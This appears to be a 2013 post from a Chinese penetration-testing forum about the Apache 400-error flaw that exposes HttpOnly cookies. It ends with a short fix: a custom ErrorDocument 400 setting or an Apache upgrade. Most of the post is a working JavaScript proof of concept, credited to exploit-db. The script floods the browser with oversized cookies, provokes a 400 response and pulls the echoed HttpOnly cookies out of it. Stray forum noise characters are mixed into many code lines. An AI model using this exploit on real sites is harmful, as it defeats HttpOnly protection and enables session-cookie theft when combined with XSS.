中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

---

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
4 t  ?$ U* V0 \' ~. n9 e! q8 o
) f, j. S* f9 n9 \/ M- E8 I用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:
! L  _3 C* r# {& N: n4 }5 M
9 t) N2 |# t& q" h( [  x; N
// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
8 o# o! I7 B0 }) J4 s4 {// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
6 m4 A6 s; J7 }+ S" Fstr += "x";
}
2 N6 ^) A/ S4 M9 ?' C) R) k// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
4 @8 ~/ C+ N- `  r9 a4 Yif (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
+ q/ |2 {( L7 v8 H}
) N3 `# q" w+ m1 D6 C- I. N/ ^// Set evil cookie
5 I7 {" }  o8 }7 b; C& j0 O3 |else {
: q6 O( D! k3 Nvar cookie = "xss"+i+"="+str+";path=/";
# L! [( N, S% P}
document.cookie = cookie;
}
5 C3 k8 b' U1 t7 n0 m7 t}
function makeRequest() {
setCookies();
function parseCookies () {
. f4 `; J4 ?9 U* yvar cookie_dict = {};
8 l4 j2 e3 p9 E" x+ l// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
" H! d- S: V, Z% H0 g& w# @0 @! Y! }// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
3 z- c8 ]) {- [! R// Add cookies to object
for (var i=0; i<cookies.length; i++) {
2 r* \# E6 D7 e1 y% `var s_c = cookies.split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
$ P3 o5 J& J& P" s6 z; N}
2 j) t9 c! E* h& P// Unset malicious cookies
7 E5 D' S8 y! V0 S- nsetCookies(true);
alert(JSON.stringify(cookie_dict));
' L1 W8 S; l; ~}
' `6 G- ^' ]0 @4 ]}
- K2 B- o& H: w& M5 k// Make XHR request
var xhr = new XMLHttpRequest();
+ S% V2 ]7 K5 o! cxhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

% B) ?1 }* L8 J; d% y你就能看见华丽丽的400错误包含着cookie信息。

下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
4 w$ s  F' G: l; s  f- d
% L* S- x9 o* M+ c修复方案：
' w) s; m* ?* K" _. c0 S$ F
# V3 w4 T7 E. v% n$ JApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下

" \4 w2 S9 O" D9 f: E3 p/ oIn the event of a problem or error, Apachecan be configured to do one of four things,

) A5 [  v  Q) p6 m7 t" g' v1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
2. output acustomized message输出一段信息
0 N0 }; [' E# n& }3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
2 e. s2 l) y, ?; o4. redirect to an external URL to handle theproblem/error转向一个外部URL

* \8 l0 ~: @5 [* l/ C' B# F+ w7 I经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容
' P4 E) w/ \3 k5 ?$ J4 Q
Apache配置：
; @3 s4 T/ N9 {3 [. d
ErrorDocument400 " security test"
" Z/ G4 R1 S6 d1 G
当然，升级apache到最新也可：）。
9 @1 V" v0 H! T* t: Q
( ~2 c  s3 p: y. l参考：http://httpd.apache.org/security/vulnerabilities_22.html
, i; \" B1 t4 P1 Y2 D! v, v
. |+ B& M4 A. q8 K4 V" t

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2